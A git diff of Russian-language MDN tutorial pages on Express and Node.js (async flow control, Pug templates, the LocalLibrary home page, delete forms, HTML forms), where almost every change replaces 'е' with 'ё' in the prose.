        Note:  В JavaScript существует много других способов управления асинхронным поведением и потоком выполнения, включая такой относительно  новый элемент языка JacaScript как Promises (обещания, промисы).
        
@@ -17,12 +17,12 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 
          
  
        • async.parallel() для осуществления любых операций, которые должны выполняться параллельно.
          • 
  
        • async.series() если нужно иметь уверенность, что асинхронные операции выполняются последовательно.
          • 
- 
        • async.waterfall() для операций, которые должны выполняться последовательно, причем каждая операция зависит от результатов предыдущих операций.
          • 
+ 
        • async.waterfall() для операций, которые должны выполняться последовательно, причём каждая операция зависит от результатов предыдущих операций.
          • 
 
        
 
 
        Почему это необходимо?
        
 
-
        Большинство методов, которые используются в  Express - асинхронные - вы определяете выполняемую операцию, передавая  колбэк-функцию. Метод завершается немедленно, а колбэк-функция вызывается тогда, когда завершилась запрошенная операция. По соглашению, принятому в Express, колбэк-функция передает значение ошибки error  как первый параметр (или null при успехе) и результат функции (если есть) как второй параметр.
        
+
        Большинство методов, которые используются в  Express - асинхронные - вы определяете выполняемую операцию, передавая  колбэк-функцию. Метод завершается немедленно, а колбэк-функция вызывается тогда, когда завершилась запрошенная операция. По соглашению, принятому в Express, колбэк-функция передаёт значение ошибки error  как первый параметр (или null при успехе) и результат функции (если есть) как второй параметр.
        
 
 
        Если контроллер должен выполнить только одну асинхронную операцию, чтобы получить информацию для представления страницы, то реализация проста - мы просто представляем шаблон в колбэке. Фрагмент кода (ниже) демонстрирует это для функции, которая подсчитывает количество элементов модели SomeModel (применяя метод Mongoose count() ):
        
 
@@ -37,9 +37,9 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 }
 
        
 
-
        Однако что, если требуется сделать множественные асинхронные запросы, и результат нельзя представить, пока не завершились все операции? Наивная реализация могла бы использовать "венок" запросов, запуская последующие запросы в колбэках предыдущих, и представляя ответ в последнем колбэке. Проблема такого подхода состоит в том, что запросы должны выполняться последовательно, хотя, вероятно, было бы более эффективно выполнять их параллельно. Это также может привести к усложненному вложенному коду, что обычно называют адом колбэков ( callback hell ).
        
+
        Однако что, если требуется сделать множественные асинхронные запросы, и результат нельзя представить, пока не завершились все операции? Наивная реализация могла бы использовать "венок" запросов, запуская последующие запросы в колбэках предыдущих, и представляя ответ в последнем колбэке. Проблема такого подхода состоит в том, что запросы должны выполняться последовательно, хотя, вероятно, было бы более эффективно выполнять их параллельно. Это также может привести к усложнённому вложенному коду, что обычно называют адом колбэков ( callback hell ).
        
 
-
        Намного лучше было бы выполнять все запросы параллельно, и иметь единственную колбэк-функцию, которая будет вызвана после того как все запросы выполнены. Именно такое выполнение операций модуль Async делает легким и простым!
        
+
        Намного лучше было бы выполнять все запросы параллельно, и иметь единственную колбэк-функцию, которая будет вызвана после того как все запросы выполнены. Именно такое выполнение операций модуль Async делает лёгким и простым!
        
 
 
        Параллельные асинхронные операции
        
 
@@ -47,7 +47,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 
 
        Первый аргумент в async.parallel() - это коллекция асинхронных функций, которые требуется выполнить (массив, объект или другой итерируемый элемент). Каждая функция получает колбэк-функцию callback(err, result) , которую она должна вызвать при завершении, с ошибкой err (может быть null) и, возможно, со значением результата results.
        
 
-
        Возможный второй аргумент для  async.parallel() - это callback -функция, которая должна быть вызвана после завершения всех функций, указанных в первом аргументе. Эта функция вызывается с аргументом ошибки и результатом - коллекцией результатов отдельных асинхронных операций. Тип коллекции - такой же, как и тип первого аргумента async.parallel (т.е. если передается массив асинхронных функций, итоговая колбэк-функция будет вызвана с массивом результатов). Если любая из параллельных функций сообщила об ошибке, сразу вызывается итоговая колбэк-функция, которая возвращает ошибку.
        
+
        Возможный второй аргумент для  async.parallel() - это callback -функция, которая должна быть вызвана после завершения всех функций, указанных в первом аргументе. Эта функция вызывается с аргументом ошибки и результатом - коллекцией результатов отдельных асинхронных операций. Тип коллекции - такой же, как и тип первого аргумента async.parallel (т.е. если передаётся массив асинхронных функций, итоговая колбэк-функция будет вызвана с массивом результатов). Если любая из параллельных функций сообщила об ошибке, сразу вызывается итоговая колбэк-функция, которая возвращает ошибку.
        
 
 
        Пример ниже показывает, как это работает в случае, когда первый аргумент является объектом. Как видно, результаты возвращаются в объекте с такими же именами свойств, как у переданных функций.
        
 
@@ -67,7 +67,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 
 
        Последовательные асинхронные операции
        
 
-
        Для выполнения нескольких асинхронных операций последовательно используется метод async.series() , при этом последующие функции не зависят от результатов предыдущих функций. Метод определяется и ведет себя так же, как и async.parallel().
        
+
        Для выполнения нескольких асинхронных операций последовательно используется метод async.series() , при этом последующие функции не зависят от результатов предыдущих функций. Метод определяется и ведёт себя так же, как и async.parallel().
        
 
 
        async.series({
   one: function(callback) { ... },
@@ -82,7 +82,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 );
        
 
 
        
-
        Заметка: Спецификация языка ECMAScript (JavaScript) устанавливает, что порядок  в перечислении объектов не определен, поэтому возможно, что функции не будут вызываться в том порядке, в котором вы их задали на всех платформах. Если порядок вызова действительно важен, вместо объекта следует передавать массив, как показано ниже.
        
+
        Заметка: Спецификация языка ECMAScript (JavaScript) устанавливает, что порядок  в перечислении объектов не определён, поэтому возможно, что функции не будут вызываться в том порядке, в котором вы их задали на всех платформах. Если порядок вызова действительно важен, вместо объекта следует передавать массив, как показано ниже.
        
 
        
 
 
        async.series([
@@ -105,7 +105,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 
 
        Выполнение нескольких асинхронных операций последовательно, когда каждая операция зависит от результатов предыдущих операций, осуществляется методом async.waterfall().
        
 
-
        Функции-callback, которая вызываются асинхронными функциями , содержит null как первый аргумент, и результаты в следующих аргументах. Каждая функция в последовательности (кроме первой) как аргументы использует результаты предыдущих функция, а колбэк-функция является последним аргументом. Когда  операции завершаются, вызывается финальная колбэк-функция, аргументы которой - объект err и результат последней операции. Как это работает, станет более ясным после рассмотрения примера - фрагмента кода, приведенного ниже ( пример взят из документации async):
        
+
        Функции-callback, которая вызываются асинхронными функциями , содержит null как первый аргумент, и результаты в следующих аргументах. Каждая функция в последовательности (кроме первой) как аргументы использует результаты предыдущих функция, а колбэк-функция является последним аргументом. Когда  операции завершаются, вызывается финальная колбэк-функция, аргументы которой - объект err и результат последней операции. Как это работает, станет более ясным после рассмотрения примера - фрагмента кода, приведённого ниже ( пример взят из документации async):
        
 
 
        async.waterfall([
   function(callback) {//первая функция в цепочке
@@ -126,7 +126,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us
 
 
        Установка async
        
 
-
        Установим модуль async при помощи менеджера пакетов NPM, чтобы использовать его в своем коде. Это делается обычным способом - откроем окно команд в корне проекта LocalLibrary и введем команду:
        
+
        Установим модуль async при помощи менеджера пакетов NPM, чтобы использовать его в своём коде. Это делается обычным способом - откроем окно команд в корне проекта LocalLibrary и введём команду:
        
 
 
        npm install async
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
index b3e40ff7a9..c62d6f9364 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html
@@ -43,7 +43,7 @@ exports.genre_detail = function(req, res, next) {
 };
 
        
 
-
        Метод использует async.parallel() для параллельного запроса названия жанра и связанных с ним книг, причем колбэк-функция возвращает страницу, когда (если) оба запроса завершились успешно.
        
+
        Метод использует async.parallel() для параллельного запроса названия жанра и связанных с ним книг, причём колбэк-функция возвращает страницу, когда (если) оба запроса завершились успешно.
        
 
 
        The ID of the required genre record is encoded at the end of the URL and extracted automatically based on the route definition (/genre/:id). The ID is accessed within the controller via the request parameters: req.params.id. It is used in Genre.findById() to get the current genre. It is also used to get all Book objects that have the genre ID in their genre field: Book.find({ 'genre': req.params.id }).
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
index 2458131cd1..05b2dc3976 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html
@@ -14,20 +14,20 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page
 
        // GET catalog home page.
 router.get('/', book_controller.index);  //This actually maps to /catalog/ because we import the route with a /catalog prefix
        
 
-
        Параметр колбэк-функции определен в /controllers/bookController.js:
        
+
        Параметр колбэк-функции определён в /controllers/bookController.js:
        
 
 
        exports.index = function(req, res, next) {
     res.send('NOT IMPLEMENTED: Site Home Page');
 }
        
 
-
        Именно эту функцию контроллера мы расширим, чтобы получать информацию из моделей и затем отображать ее, используя шаблоны (представления).
        
+
        Именно эту функцию контроллера мы расширим, чтобы получать информацию из моделей и затем отображать её, используя шаблоны (представления).
        
 
 
        Контроллер
        
 
-
        Функция контроллера индекса должна получать информацию о том, сколько книг (Book), экземпляров книг (BookInstance), сколько из них доступно, сколько авторов (Author), жанров (Genre) имеется в БД, должна поместить эту информацию в шаблон, чтобы создать  HTML-страницу, после чего вернуть ее в  HTTP-ответе.
        
+
        Функция контроллера индекса должна получать информацию о том, сколько книг (Book), экземпляров книг (BookInstance), сколько из них доступно, сколько авторов (Author), жанров (Genre) имеется в БД, должна поместить эту информацию в шаблон, чтобы создать  HTML-страницу, после чего вернуть её в  HTTP-ответе.
        
 
 
        
-
        Заметка: Количество экземпляров в каждой модели вычисляется при помощи метода countDocuments() . Он вызывается для модели с возможным набором условий, необходимых для проверки соответствия первому аргументу и колбэк-функции второго аргумента (обсуждалось ранее в "Использование базы данных с Mongoose" Using a Database (with Mongoose)), причем можно вернуть также запрос Query, а затем выполнить его позже при помощи callback. Эта  колбэк-функция будет выполняться, когда БД вернет количество записей.  Значение ошибки (or null) будет первым параметром, а количество записей (или null, если была ошибка) -  вторым параметром.
        
+
        Заметка: Количество экземпляров в каждой модели вычисляется при помощи метода countDocuments() . Он вызывается для модели с возможным набором условий, необходимых для проверки соответствия первому аргументу и колбэк-функции второго аргумента (обсуждалось ранее в "Использование базы данных с Mongoose" Using a Database (with Mongoose)), причём можно вернуть также запрос Query, а затем выполнить его позже при помощи callback. Эта  колбэк-функция будет выполняться, когда БД вернёт количество записей.  Значение ошибки (or null) будет первым параметром, а количество записей (или null, если была ошибка) -  вторым параметром.
        
 
 
        SomeModel.countDocuments({ a_model_field: 'match_value' }, function (err, count) {
  // ... do something if there is an err
@@ -43,7 +43,7 @@ exports.index = function(req, res, next) {
  res.send('NOT IMPLEMENTED: Site Home Page');
 }
        
 
-
        Замените весь код, показанный выше, на следующий фрагмент кода. Первое, что он делает - импортирует (require())  все модели (выделено жирным).  Это требуется, поскольку они нужны для подсчета числа записей. Затем импортируется модуль async .
        
+
        Замените весь код, показанный выше, на следующий фрагмент кода. Первое, что он делает - импортирует (require())  все модели (выделено жирным).  Это требуется, поскольку они нужны для подсчёта числа записей. Затем импортируется модуль async .
        
 
 
        var Book = require('../models/book');
 var Author = require('../models/author');
@@ -76,7 +76,7 @@ exports.index = function(req, res) {
     });
 };
        
 
-
        Метод async.parallel() передает объект с функциями для получения количества элементов каждой модели. Все эти функции стартуют одновременно. Когда все они завершатся,  будет вызвана финальная колбэк-функция, в итоговом параметре которой содержится нужный нам результат (или ошибка).
        
+
        Метод async.parallel() передаёт объект с функциями для получения количества элементов каждой модели. Все эти функции стартуют одновременно. Когда все они завершатся,  будет вызвана финальная колбэк-функция, в итоговом параметре которой содержится нужный нам результат (или ошибка).
        
 
 
        При успешном завершении колбэк-функции она вызывает res.render(), у которой в качестве параметров - представление (шаблон)  'index' и объект, содержащий данные, которые следует поместить в шаблон (среди них - количества элементов в моделях). Данные представлены как пары ключ-значение, и могут быть получены в шаблоне по ключу.
        
 
@@ -86,7 +86,7 @@ exports.index = function(req, res) {
 
 
        Представление
        
 
-
        Откройте файл  /views/index.pug и замените его содержимое текстом, приведенным ниже
        
+
        Откройте файл  /views/index.pug и замените его содержимое текстом, приведённым ниже
        
 
 
        extends layout
 
@@ -108,7 +108,7 @@ block content
       li #[strong Authors:] !{data.author_count}
       li #[strong Genres:] !{data.genre_count}
        
 
-
        Представление несложное. Мы расширили базовый шаблон  layout.pug, переопределив блок (block) с именем 'content'. Первый заголовок h1 будет экранированным текстом - значением переменной title ,variable that  которая передается в функцию render() —заметьте, что применение 'h1='  говорит, что следующий текст рассматривается как выражение JavaScript. Затем расположен параграф, знакомящий с  LocalLibrary.
        
+
        Представление несложное. Мы расширили базовый шаблон  layout.pug, переопределив блок (block) с именем 'content'. Первый заголовок h1 будет экранированным текстом - значением переменной title ,variable that  которая передаётся в функцию render() —заметьте, что применение 'h1='  говорит, что следующий текст рассматривается как выражение JavaScript. Затем расположен параграф, знакомящий с  LocalLibrary.
        
 
 
        Под заголовком Dynamic content  мы проверяем, определена ли переданная из функции render() переменная error. Если да, отмечаем ошибку. Если нет, выводим ( как список) количества копий каждой модели, которые хранятся в переменной data.
        
 
@@ -118,12 +118,12 @@ block content
 
 
        Как это выглядит?
        
 
-
        Сейчас у нас есть все для того, чтобы показать страницу index. Запустите приложение и откройте браузер с адресом http://localhost:3000/. Если все задано правильно, ваш сайт должен иметь примерно такой вид, как на приведенном снимке экрана.
        
+
        Сейчас у нас есть все для того, чтобы показать страницу index. Запустите приложение и откройте браузер с адресом http://localhost:3000/. Если все задано правильно, ваш сайт должен иметь примерно такой вид, как на приведённом снимке экрана.
        
 
 
        Home page - Express Local Library site
        
 
 
        
-
        Заметка:  Элементы бокового меню использовать еще нельзя, так как адреса, представления и шаблоны для этих страниц еще не определены. Если вы попытаетесь их использовать, будет выведено сообщение об ошибке, например,  вида "NOT IMPLEMENTED: Book list" (НЕ РЕАЛИЗОВАНО: список книг), в зависимости от выбранного элемента меню.  Эти строковые литералы (которые будут замещены действительными данными) были заданы в различных файлах контроллеров в каталоге "controllers".
        
+
        Заметка:  Элементы бокового меню использовать ещё нельзя, так как адреса, представления и шаблоны для этих страниц ещё не определены. Если вы попытаетесь их использовать, будет выведено сообщение об ошибке, например,  вида "NOT IMPLEMENTED: Book list" (НЕ РЕАЛИЗОВАНО: список книг), в зависимости от выбранного элемента меню.  Эти строковые литералы (которые будут замещены действительными данными) были заданы в различных файлах контроллеров в каталоге "controllers".
        
 
        
 
 
        Next steps
        
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
index bbe11606e8..4082c32f4a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data
 
 
        {{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}
        
 
-
        Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта  LocalLibrary и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определенного типа мы имеем и отдельные страницы для детального просмотра записей. Попутно мы приобретем практический опыт в получении записей из баз данных и использовании шаблонов.
        
+
        Теперь мы готовы добавить страницы, на которых будут отображаться книги веб-сайта  LocalLibrary и другие данные. Страницы будут включать главную страницу, которая показывает сколько записей определённого типа мы имеем и отдельные страницы для детального просмотра записей. Попутно мы приобретём практический опыт в получении записей из баз данных и использовании шаблонов.
        
 
 
        • 
  
 
 
  
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
   
  
 
 
 
 
 
 
 
 
   
  
  
        
@@ -28,7 +28,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data
 
 
        Следующим шагом является обеспечение правильных реализаций для страниц, которые отображают информацию из библиотеки (мы рассмотрим реализацию страниц с формами для создания, обновления или удаления информации в последующих статьях). Это включает в себя обновление функций контроллера для извлечения записей с помощью наших моделей и определение шаблонов для отображения этой информации пользователям.
        
 
-
        Мы начнем с обзорных / основных тем, объясняющих, как управлять асинхронными операциями в функциях контроллера и как писать шаблоны с помощью Pug. Затем мы предоставим реализации для каждой из наших основных страниц" только для чтения " с кратким объяснением любых специальных или новых функций, которые они используют.
        
+
        Мы начнём с обзорных / основных тем, объясняющих, как управлять асинхронными операциями в функциях контроллера и как писать шаблоны с помощью Pug. Затем мы предоставим реализации для каждой из наших основных страниц" только для чтения " с кратким объяснением любых специальных или новых функций, которые они используют.
        
 
 
        В конце этой статьи вы должны иметь хорошее сквозное понимание того, как маршруты, асинхронные функции, представления и модели работают на практике.
        
 
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
index 449d197c96..7eeebc6e2a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
@@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer
 
 
        Конфигурация шаблона
        
 
-
        Когда создавался каркас (the skeleton website) веб-сайта LocalLibrary, он был настроен  на использование Pug . Можно было заметить, что модуль pug включен в зависимости в файле package.json, и установлен (app.set(...)) как движок представлений в файле app.js. Эта установка показывает,, что движок представлений -  pug, и что  Express должен искать шаблоны в подкаталоге /views.
        
+
        Когда создавался каркас (the skeleton website) веб-сайта LocalLibrary, он был настроен  на использование Pug . Можно было заметить, что модуль pug включён в зависимости в файле package.json, и установлен (app.set(...)) как движок представлений в файле app.js. Эта установка показывает,, что движок представлений -  pug, и что  Express должен искать шаблоны в подкаталоге /views.
        
 
 
        // View engine setup.
 app.set('views', path.join(__dirname, 'views'));
@@ -36,7 +36,7 @@ app.setПример файла шаблона (ниже) демонстрирует многие наиболее полезные черты  Pug.
        
 
-
        Сначала отметим, что файл отражает структуру типового HTML-файла, причем первое слов в (почти) каждой строке является элементом HTML, а отступы используются, чтобы показать вложенные элементы. Так, например, элемент body находится внутри элемента html, а элементы p  (параграфы) - внутри элемента body, и так далее. Невложенные элементы (т.е. индивидуальные параграфы) располагаются в отдельных строках.
        
+
        Сначала отметим, что файл отражает структуру типового HTML-файла, причём первое слов в (почти) каждой строке является элементом HTML, а отступы используются, чтобы показать вложенные элементы. Так, например, элемент body находится внутри элемента html, а элементы p  (параграфы) - внутри элемента body, и так далее. Невложенные элементы (т.е. индивидуальные параграфы) располагаются в отдельных строках.
        
 
 
        doctype html
 html(lang="en")
@@ -74,7 +74,7 @@ html(lang="en")
       each val in [1, 2, 3, 4, 5]
         li= val
        
 
-
        Атрибуты элементов определены в скобках после соответствующих элементов. В скобках располагается список пар имя атрибута=значение,причем элементы списка разделяются запятой или пробелом. Например:
        
+
        Атрибуты элементов определены в скобках после соответствующих элементов. В скобках располагается список пар имя атрибута=значение,причём элементы списка разделяются запятой или пробелом. Например:
        
 
 
          
  
        • script(type='text/javascript'), link(rel='stylesheet', href='/stylesheets/style.css')
          • 
@@ -83,7 +83,7 @@ html(lang="en")
 
 
          Значения всех атрибутов экранируются (т.е. такие символы как ">" заменяются эквивалентными кодами HTML как "&gt;") , чтобы предотвратить JavaScript инъекции и межсайтовые атаки.
          
 
-
          Если после тэга стоит знак = , следующий текст рассматривается как выражение JavaScript. Например, ниже в первой строке, содержимое тэга h1 будет переменной  title (которая определена в файле или передана в шаблон из Express). Во второй строке содержимое параграфа - это текстовая строка, соединенная с переменной  title . В каждом из случаев поведение по умолчанию - экранировать строки.
          
+
          Если после тэга стоит знак = , следующий текст рассматривается как выражение JavaScript. Например, ниже в первой строке, содержимое тэга h1 будет переменной  title (которая определена в файле или передана в шаблон из Express). Во второй строке содержимое параграфа - это текстовая строка, соединённая с переменной  title . В каждом из случаев поведение по умолчанию - экранировать строки.
          
 
 
          h1= title
 p= 'Evaluated and <em>escaped expression</em>:' + title
          
@@ -97,12 +97,12 @@ p This line has an un-escaped string: !{'plain text"). Например, дополнительный текст, приведенный ниже, будет показан в той же строке, что и предыдущий, но не будет относиться к ссылке.
          
+
          Можно использовать символ конвейера ('|') в начале строки, чтобы отметить простой текст ("plain text"). Например, дополнительный текст, приведённый ниже, будет показан в той же строке, что и предыдущий, но не будет относиться к ссылке.
          
 
 
          a(href='http://someurl/') Link text
 | Plain text
          
 
-
          Pug позволяет выполнять условные операции if, else , else if и unless— пример приведен ниже:
          
+
          Pug позволяет выполнять условные операции if, else , else if и unless— пример приведён ниже:
          
 
 
          if title
   p Переменная с именем "title" существует
@@ -131,7 +131,7 @@ html
   body
     block content
          
 
-
          Тэг  block применен для отметки разделов контента, которые могут быть заменены в производных шаблона (если блок не переопределяется, будет использования его реализация в базовом классе).
          
+
          Тэг  block применён для отметки разделов контента, которые могут быть заменены в производных шаблона (если блок не переопределяется, будет использования его реализация в базовом классе).
          
 
 
          Умолчание для  index.pug (созданный для каркаса проекта) показывает, как можно заменить базовый шаблон. Тэг extends идентифицирует базовый шаблон, который следует использовать, а затем мы используем  block section_name, чтобы отметить новый контент раздела, который мы заменяем.
          
 
diff --git a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
index 13f409ea3c..f5b742715d 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
@@ -139,7 +139,7 @@ block content
 
 
          Как это выглядит?
          
 
-
          Запустите приложение и откройте в браузере  http://localhost:3000/. Затем выберите ссылку Create new book instance (copy). Если все настроено правильно, ваш сайт должен выглядеть примерно так, как показано на скриншоте. После того, как вы отправите валидный BookInstance, он должен быть сохранен, и вы попадете на страницу сведений.
          
+
          Запустите приложение и откройте в браузере  http://localhost:3000/. Затем выберите ссылку Create new book instance (copy). Если все настроено правильно, ваш сайт должен выглядеть примерно так, как показано на скриншоте. После того, как вы отправите валидный BookInstance, он должен быть сохранён, и вы попадёте на страницу сведений.
          
 
 
          
 
diff --git a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
index a92d787ec6..f03565426b 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/delete_author_form/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms/Delete_author_form
 ---
 
          В этой статье показано, как определить страницу для удаления объектов Author.
          
 
-
          Как описано в разделе  form design,  наша стратегия будет заключаться в том, чтобы разрешить удаление только объектов, на которые не ссылаются другие объекты(в этом случае это означает, что мы не позволим Author быть удаленным, если на него ссылается  Book). С точки зрения реализации это означает, что форма должна подтвердить, что нет никаких связанных книг, прежде чем автор будет удален. Если есть связанные книги, то они должны отображаться и быть удалены до того, как будет удален объект Author.
          
+
          Как описано в разделе  form design,  наша стратегия будет заключаться в том, чтобы разрешить удаление только объектов, на которые не ссылаются другие объекты(в этом случае это означает, что мы не позволим Author быть удалённым, если на него ссылается  Book). С точки зрения реализации это означает, что форма должна подтвердить, что нет никаких связанных книг, прежде чем автор будет удалён. Если есть связанные книги, то они должны отображаться и быть удалены до того, как будет удалён объект Author.
          
 
 
          Controller—get route
          
 
@@ -32,7 +32,7 @@ exports.author_delete_get = function(req, res, next) {
 
 };
        
 
-
        Контроллер получает id экземпляра Author для удаления из параметра URL  (req.params.id). Он использует метод  async.parallel() , чтобы получить запись автора и параллельно вс связанные книги. Когда оба параметра авершины, он рендерит страницу  author_delete.pug, передает значения для title, author, и author_books.
        
+
        Контроллер получает id экземпляра Author для удаления из параметра URL  (req.params.id). Он использует метод  async.parallel() , чтобы получить запись автора и параллельно вс связанные книги. Когда оба параметра авершины, он рендерит страницу  author_delete.pug, передаёт значения для title, author, и author_books.
        
 
 
        
 
        Заметка: Если findById() не возвращает результатов, то автор отсутствует в базе данных. В этом случае удалять нечего, поэтому сразу выводим список всех авторов.
        
@@ -77,10 +77,10 @@ exports.author_delete_post = function(req, res, next) {
     });
 };        
 
-
        Сначала мы проверяем, что был предоставлен id (он отправляется через параметры тела формы, а не через версию в URL). Затем мы получаем автора и связанные с ним книги так же, как и для маршрута GET. Если книг нет, то удаляем объект автора и перенаправляем в список всех авторов. Если есть еще книги, то мы просто перерисовываем форму, передавая автора и список книг, которые нужно удалить.
        
+
        Сначала мы проверяем, что был предоставлен id (он отправляется через параметры тела формы, а не через версию в URL). Затем мы получаем автора и связанные с ним книги так же, как и для маршрута GET. Если книг нет, то удаляем объект автора и перенаправляем в список всех авторов. Если есть ещё книги, то мы просто перерисовываем форму, передавая автора и список книг, которые нужно удалить.
        
 
 
        
-
        Заметка: Мы можем проверить, возвращает ли вызов findbyid () какой-либо результат, и если нет, немедленно отобразить список всех авторов.Для краткости мы оставили код как есть выше (он все равно вернет список авторов, если id не будет найден, но это произойдет после findByIdAndRemove()).
        
+
        Заметка: Мы можем проверить, возвращает ли вызов findbyid () какой-либо результат, и если нет, немедленно отобразить список всех авторов.Для краткости мы оставили код как есть выше (он все равно вернёт список авторов, если id не будет найден, но это произойдёт после findByIdAndRemove()).
        
 
        
 
 
        View
        
@@ -128,7 +128,7 @@ block content
 
        Затем мы добавим элемент управления Delete в представление сведений об авторе (страница сведений-хорошее место для удаления записи).
        
 
 
        
-
        Note: В полном объеме контроль будет доступен только авторизованным пользователям. Однако на данный момент у нас нет системы авторизации!
        
+
        Note: В полном объёме контроль будет доступен только авторизованным пользователям. Однако на данный момент у нас нет системы авторизации!
        
 
        
 
 
        Откройте author_detail.pug и добавьте следующие строки внизу.
        
diff --git a/files/ru/learn/server-side/express_nodejs/forms/index.html b/files/ru/learn/server-side/express_nodejs/forms/index.html
index 6042d57b17..8048ad020b 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/index.html
@@ -30,12 +30,12 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
 
 
        HTML форма - это группа из одного или нескольких полей / виджетов на веб-странице, которая может использоваться для сбора информации от пользователей для отправки на сервер. Формы представляют собой гибкий механизм для сбора данных, вводимых пользователем, поскольку существуют подходящие входные данные форм, доступные для ввода различных типов данных-текстовые поля, флажки, переключатели, средства выбора даты и т. д. Формы также являются относительно безопасным способом обмена данными с сервером, поскольку они позволяют отправлять данные в запросах POST с защитой от подделки межсайтовых запросов.
        
 
-
        Работа с формами может быть сложной! Разработчику нужно написать HTML код для форм, валидацию и правильно анализировать введенные данные на сервере (и, возможно, также в браузере), отобразить форму с сообщениями об ошибках, чтобы сообщить пользователям о любых недопустимых полях, обработать данные, когда они были успешно отправлены, и, наконец, каким-то образом ответить пользователю о том, что результат успешен.
        
+
        Работа с формами может быть сложной! Разработчику нужно написать HTML код для форм, валидацию и правильно анализировать введённые данные на сервере (и, возможно, также в браузере), отобразить форму с сообщениями об ошибках, чтобы сообщить пользователям о любых недопустимых полях, обработать данные, когда они были успешно отправлены, и, наконец, каким-то образом ответить пользователю о том, что результат успешен.
        
 
 
        В этом уроке мы покажем вам, как вышеуказанные операции могут быть выполнены в Express. По пути мы расширим веб-сайт LocalLibrary, чтобы пользователи могли создавать, редактировать и удалять элементы из библиотеки.
        
 
 
        
-
        Заметка: Мы не рассматривали, как ограничить определенные маршруты аутентифицированными или авторизованными пользователями, поэтому на данный момент любой пользователь сможет вносить изменения в базу данных.
        
+
        Заметка: Мы не рассматривали, как ограничить определённые маршруты аутентифицированными или авторизованными пользователями, поэтому на данный момент любой пользователь сможет вносить изменения в базу данных.
        
 
        
 
 
        HTML Forms
        
@@ -44,7 +44,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
 
 
        Simple name field example in HTML form
        
 
-
        Определенные в  HTML формы собираются внутри тэга <form>...</form>, содержащего хотя ы один элемент input с type="submit".
        
+
        Определённые в  HTML формы собираются внутри тэга <form>...</form>, содержащего хотя ы один элемент input с type="submit".
        
 
 
        <form action="/team_name_url/" method="post">
     <label for="team_name">Enter name: </label>
@@ -52,7 +52,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
     <input type="submit" value="OK">
 </form>
        
 
-
        Хотя здесь мы включили только одно (текстовое) поле для ввода имени команды, форма может содержать любое количество других элементов ввода и связанных с ними меток. Атрибут type определяет какой из виджетов будет выбран для отображения поля. Атрибуты name и id идентифицируют поле в JavaScript/CSS/HTML, а value определяет его первоначальное значение. Связанная с полем метка, задается с помощью тега label (располагается строкой выше и содержит в себе подпись "Enter name"). Связь метки и поля ввода устанавливается при помощи атрибута for, в котором указывается значение идентификатора поля (input id).
        
+
        Хотя здесь мы включили только одно (текстовое) поле для ввода имени команды, форма может содержать любое количество других элементов ввода и связанных с ними меток. Атрибут type определяет какой из виджетов будет выбран для отображения поля. Атрибуты name и id идентифицируют поле в JavaScript/CSS/HTML, а value определяет его первоначальное значение. Связанная с полем метка, задаётся с помощью тега label (располагается строкой выше и содержит в себе подпись "Enter name"). Связь метки и поля ввода устанавливается при помощи атрибута for, в котором указывается значение идентификатора поля (input id).
        
 
 
        Input submit будет отображаться в виде кнопки (по умолчанию) - он может быть нажат пользователем, чтобы загрузить данные, содержащиеся в других входных элементов на сервер (в данном случае, только team_name). Атрибуты формы определяют метод HTTP, используемый для отправки данных, и назначение данных на сервере (action):
        
 
@@ -70,7 +70,7 @@ translation_of: Learn/Server-side/Express_Nodejs/forms
 
 
